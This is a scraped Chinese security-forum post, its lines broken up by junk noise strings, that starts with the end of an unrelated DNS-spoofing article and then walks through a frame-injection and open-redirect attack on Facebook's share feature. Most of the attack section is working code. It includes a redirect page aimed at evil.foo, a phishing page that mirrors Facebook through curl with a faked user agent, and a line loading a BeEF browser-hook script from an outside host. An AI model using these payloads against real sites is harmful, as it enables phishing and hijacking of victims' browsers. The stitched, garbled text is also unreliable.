中国网络渗透测试联盟
标题:
网站框架注入漏洞到非法重定向
[打印本页]
作者:
admin
时间:
2013-3-20 21:57
标题:
网站框架注入漏洞到非法重定向
以上就是一次成功的DNS欺骗
2 r- M5 j' O2 `$ l: a4 g4 f
DNS欺骗的危害是巨大的，我不说大家也都懂得，常见被利用来钓鱼、挂马之类的
" H4 _. ?8 y F/ I1 a8 @6 T
# u. \) t4 l; F, B9 Z3 f: O4 Z) ?8 _
3 n0 q& T, g% d; _; j
0×02.2 DNS欺骗的防范
, f9 a" ]5 t2 b3 p6 V1 M: `
5 a8 h5 ^& S* W: Q% q7 I' A
DNS欺骗是很难进行有效防御的，因为大多情况下都是被攻击之后才会发现，对于避免DNS欺骗所造成危害，本菜鸟提出以下建议
7 x. Q- i+ s: o' T7 V* }5 U
1.因为DNS欺骗前提也需要ARP欺骗成功。所以首先做好对ARP欺骗攻击的防范。
! M0 [! t8 W+ Z
2.不要依赖于DNS，尽管这样会很不方便，可以使用hosts文件来实现相同的功能，Hosts文件位置：
; v) \/ b/ ^/ L2 M, C8 \
windows xp/2003/vista/2008/7 系统的HOSTS文件位置 c:\windows\system32\drivers\etc 用记事本打开即可进行修改。
0 J. Q) T4 O3 M4 p* {$ G
3.使用安全检测软件定期检查系统是否遭受攻击
9 M. W: l1 m% s- W' n
4.使用DNSSEC，DNSSEC详细介绍：
http://baike.baidu.com/view/3421039.htm
7 ?% @) d( u4 R' G- h
by: TaskKilL
$ T0 T" e# @+ M9 E2 X4 f
7 H; R) u" N5 F* u
Windows live 翻译框架注入
% r7 R2 l& V: j' _/ _( j. i
, N: k5 v, ~; D1 p6 O/ g4 |7 j
http://www.windowslivetranslator ... evil.foo/bypass.php
. I0 V1 A2 M& M: s* ?; [- f' o
3 e" D; @7 Y2 x
6 g! a5 ^9 I6 ]1 F
6 f3 ]- ~, \; Q) F% I# E1 \3 |
三、重定向描述 :
r$ u; H- D* ~" j. ^# W7 z1 O
+ P9 Q# B4 E5 ^0 B
) C+ q8 {! _+ _9 u+ Y0 U
+ D) e# z% C7 i& F& z" F1 H2 N9 P
重定向漏洞允许一个邪恶的用户对一个网站重定向给受害者。主要攻击媒介的这种脆弱性是pishing。只有在远程Web服务器的权限可以重定向漏洞使用恶意脚本php,javascript, vbscript ,ajax (worm)。
/ L! b5 r* ?8 v: N0 L: a4 f
3 a7 Z5 E2 Y- f( F
最常见的攻击媒介是体现在双重网址中：
* @6 P2 u( W6 R! h, |) V
0 Y1 W7 q$ z6 o R' e7 Q0 \6 ^
http://site.com/redirect?r=http://malicious_website.com
2 ~/ e# L$ Y1 V# f0 j) u
& C9 m# a" L. `# c1 d
! u6 X9 ^4 G/ n3 |. A$ ^& f! A
$ x0 S* ~4 |/ }8 v4 J
四、利用方式，结合重定向框架注入vulnz：
3 Y9 x% Z- T( A( H" I4 G6 B6 h+ F
! z* t, X" d: l0 Y
! p$ t+ e+ w. @0 P1 \6 _ F
' P) V" h. F" \: D P
先进的重定向和框架注入组合攻击：
" F% B6 ]8 O. F& Y2 u
; H* c2 t" C( ~+ U7 u) Y' ^" B. s
/-----------/ /-----------/ /-----------/ /-----------/ /-----------/
, s6 c" @' l2 F
2 d; o8 [8 G7 R9 @& v# X. ^
|facebook ---| google ---| bypass.php|---| login.php ---| b e e f :
. r p9 P' I: u0 R
9 F! C9 z9 i* v, u4 @$ L8 j- W
\-----------\ \-----------\ \-----------\ \-----------\ \-----------\
. s* Q( \9 e* `( {8 Z8 e, A
$ d" C4 y. x1 |( _: }/ O' ?
Facebook的sharer.php的输入源可能看起来像这样的脚本：
c0 ]+ c x9 `7 `( [
/ |& K3 x# r+ b, |) i, g) v! Z
#########################################################################
9 F/ |+ v7 G& ^4 I1 V1 B
7 x; N( t; `# T+ [& ]2 z" z
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN"
- ^/ S3 q) y) K$ X
. p, g3 ~5 [0 ?$ Z: l
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
" N8 \2 ^8 N9 w; s2 |6 ~9 P
3 l" o: c7 @9 V5 v
<html xmlns="http://www.w3.org/1999/xhtml">
" S" |! O0 G! P: _
: y j5 t% g9 q: a! ]! N' `
<html>
6 J/ A x# O! b3 c
8 Z( k/ o, ]" y* N$ ?
<head>
. Q: ? j7 E/ S! l- N* x( J
; L+ m4 |( @$ w7 n. J7 f, k7 _
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
0 m& t5 o% @( T+ f& ^
) a7 @% T+ x/ L8 m' q! w
<title> Welcome in my-site-is-not-secure-now.w00t</title>
! P9 H: s; g% E/ d& ~. Y" U
1 a% @2 \/ Y2 \1 b5 T3 Z- ^: P
</head>
i* X6 L& v( _: H
+ c" A, P0 L5 M. g3 Q/ p. T: x
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">
7 e9 j. k5 I0 Y) m, a, z
0 o* \+ |3 S2 Z5 f" H; `
<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO"
; W, g8 f) r$ ]# x/ q- [& G' s5 `
7 n& g& Z- ]6 l- G9 r
bordercolor="#0000CC" id="navigation">
2 x& {0 K( r9 n/ M1 r: }" U T
6 Y+ `0 A9 K8 x, n) i/ P8 K8 G
<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >
( r4 b4 j0 D) O# N
2 v7 C, z4 p. _6 Y! C( O% H) H
<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO"
L# r5 g& z& ?+ J: U
; s7 H1 k5 j; H: m
bordercolor="#000000" id="en-tete">
U' e2 O% l: ]4 }0 @: a$ o
<frame src="<?php
5 [0 S: s4 ?7 N2 `" L; z2 w
5 R) _" L6 u( Z' D3 U
//secure code
: D# l8 e, Y& A# e6 O8 Y ?
& u& q$ j+ K! j# R, V% [4 [
if(isset($_GET['iframe']))
6 n: k+ h- ?5 O8 n0 ]9 O8 _, Y
- L% B9 k5 E* A- [& q$ P$ G
{
9 C$ M" `8 p( x( n$ z0 ?. i0 g% X1 _0 |
5 _$ M# H" H3 s+ @
$allowUrls = array("http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php");
$ o) J q+ J# x/ m3 H
: x4 S0 g3 g( C$ h5 S1 O b( e: w8 ~
if(in_array($_GET['iframe'], $allowUrls))
7 h, B- v8 K* g1 M6 _
, \; ] [9 H5 k# m' M* }: \
echo $_GET['iframe']; // 如果IFRAME中允许有一个网址
8 j1 N/ Z2 }2 q) a# v: e
6 j- {& |4 a) v* b& O
else // 为了显示主页(或一个错误页面)
/ N& s' Q+ e+ d/ {5 M5 F
7 R+ H, m" @, L" g3 G' I8 G% @
echo "accueil.htm";
5 \7 T, {0 |2 a
# c0 _$ W# `6 c' J- `
}
% d$ \. x' c" T7 F
$ E6 c$ U1 d' K$ Z' L2 }
else // !!!
3 `( C4 N3 X2 e4 q) }
. ^1 ?) C o5 j, b
echo "accueil.htm";
8 S% l- c. f1 V7 l
. A" I# }3 m( b
?>" name="corps" scrolling="auto" id="corps">
/ z; F7 C z" o$ o) A( H8 f- y
8 {& k3 t- g" X4 y# a
</frameset>
; F3 c" ]2 M5 p0 S, [. L E
! v1 l f, a: G
</frameset><noframes>No frames
</noframes>
) o, L; \6 b! W, m% j8 T
: n) r; t( L" v& o
</html>
+ U& m: |: {' ^) X. q$ s) v- P
% g0 [6 @+ A9 n5 G7 P' @+ ~
#########################################################################
1 M2 M7 U! N- Z M- u- v! `
) ~- P0 ]. S1 x+ c f' n& f( g
在Facebook中变换恶意网址链接像这样(sharer.php script)：
: H2 J& L9 I' Q* k% U, o
1 }$ x8 Z/ V) P2 p. v- r7 K
http://www.facebook.com/ext/shar ... p;h=Crew&u=p3lo
" e! T5 a% K1 Z: h6 E4 `
& Z4 j' A! b- n# A& ~# W# I( i8 J
和上面的链接Facebook的概况出现像这样：
( K" L& N9 B$ o0 A% M# R
* @3 T+ d6 f1 }
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
8 U: M: H2 v; d( f' u' N% C, \9 |& o; a
- ?& N% M, L4 k; C$ |& `0 T j
图片搜索结果
5 D, N8 Z v, x! z" q- C. I9 G
4 Z- O$ f% ?9 o* U [
http://www.google.fr/imgres?imgurl=http://fake_url...
$ ~1 } C+ c- w' ^7 m& d$ C0 `7 e2 j
' g$ A2 B. L* o2 r! q
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
' C7 c/ t H+ N
9 H m/ V2 s0 W( q/ c
现在来看看我的成批输出转换程序（PoC）重定向脚本（bypass.php）：
) N: o3 B2 t& B4 u2 u/ y
) B% M n2 b5 N( Y
###########################################################################
/ e+ V6 @/ z) A; `
( D/ C- v, r: }6 p6 y- I( o. _
<head>
( G0 N( @* x- V5 W- [: a
5 d) s$ ^! j$ k: k
<meta http-equiv="Content-Language" content="it">
: \' G7 P' V$ J4 | J
+ m, t6 c$ ^) z! N2 g. g. G
<SCRIPT LANGUAGE="JavaScript">
7 O9 {4 W* \3 t4 T- _, z9 c. O
+ P$ ?# g/ d- H( |
if (top.frames.length!=0) top.location=self.document.location;
^. r. c3 }. p$ V
1 @0 W% b( v3 W1 P
</SCRIPT>
: e* Y. C5 j2 Z9 O
# c3 @. r H5 _8 k* s6 |
<title>fb redirector PoC by Czy</title>
) J( @( v) J9 w; e8 l
2 N& V0 w% K0 }/ J; @
</head>
) g8 t5 L# ~9 D
; k/ D3 G, G8 g, [
<body bgcolor="#99FF66">
7 {, |) |& ^9 D2 T8 j @' e
9 i n, Z# U1 z1 [' u, e& b
第一个脚本包含在head，允许杀死第一个框架的有效载荷，URL重定向到self.document.location。
1 V9 N1 l+ F: |. o1 {, d9 J. {5 s5 L
第二个脚本允许重定向我的网页上，以先进的pishing页面。
; a( U! I: }2 m v A2 }9 N- D
; G$ w0 V# [7 y2 X6 h
<br>
: Y* ]$ g# D% @9 u- T7 ~
1 A6 h, D e8 ^
<br><br>
3 j; B' o j/ L8 P
0 {8 e/ K) N m4 j8 }) z
</body>
' s5 y1 m3 @0 U6 s: O4 Q7 D& s9 ~
& T# N( G9 [( ^
<br><br><script>document.location="http://evil.foo/login.php";</script><br>
# ^4 i7 h, j# j e i
) Z$ L, }6 @0 G$ n9 ^
###############################################################################
( V0 Z$ x' u) J, X, m7 H2 z( ?! Y
* x/ N0 }, J' l% R
这是先进重定向pishing页面的来源 (login.php):
; x, z1 z$ L; U8 b
, ]( v& ~ h9 j0 s
###############################################################################
7 ^) e8 J. {6 R6 ]& `- t& a
' Q* Y8 h) B2 ^6 G P$ Q2 S' w
<?php
6 t/ d# x+ M+ Y9 t3 l) b# N" B, i' O
m" j* t; C W$ s0 j) v
//by Czy
) \0 W+ Z3 a4 m9 b
0 t/ |$ i: U" }
$referer=”
http://www.facebook.com/
”;
* s, b9 v- W4 x: w$ P( X) s, t
% Y5 g' t9 `: V0 ?4 [2 s7 T; G
// spoofing FireFox 2.0
$ b1 N* t" A6 F' I b
- N. `( V+ t# B/ A2 S
$useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?;
* \' Q- F+ G4 P, N, ]# ]) w7 a
2 Y3 v9 Y5 Q2 h! {; R2 J7 B5 ]
$ch = curl_init();
) x( O5 u8 U3 }4 s6 v
8 j2 v9 N0 ^! ]5 R7 R
curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/");
5 V H4 n3 `4 @" u+ ^. i2 H
4 M" q. {- Y) H% @
curl_setopt ($ch, CURLOPT_HEADER, 0);
; @+ Q$ y2 X @4 N1 X) h
2 V! H* Y4 H) R/ h& s: {7 ?
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6 X" P7 X! J) M) Z
. A9 X9 M: h) Q0 G+ j' ]- _* L
curl_setopt($ch, CURLOPT_REFERER, $referer);
) z0 J# S# r5 I' Q* X |! C
' B7 c* ]3 I1 M/ E! }* N) r; `; o
curl_exec ($ch);
; U* x$ c4 _' l. R
7 r( ? ^- w n$ V+ J- k% L0 W' R7 R
curl_close ($ch);
- [/ o! s0 Z' k' }; ^
a! Q5 @) ^4 o7 ]. c0 v) [* ^4 Z
?>
& v/ r. D& F) u8 l. M
: S: B" P' N# C4 v/ g
<script src=”http://beefsite/beef/hook/beefmagic.js.php”></script>
1 W7 T3 ]9 N' N6 ~
E ? n; M3 A% ~1 y
###############################################################################
% @- L' G) C. ~
% M, p7 q% \+ L9 @" A7 N6 P
五、尾声：
: d+ W9 ?- [6 C, {1 @
2 v6 @$ |& I8 K# J7 c- \4 B9 c$ N% J
经过长期时刻的研究，个人认为最好的方式来纠正这些漏洞是保证用户离开该网页和网站域名的重定向页面。
5 d5 q- z) i2 |/ a' _" Q' j
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2
</noframes>) o, L; \6 b! W, m% j8 T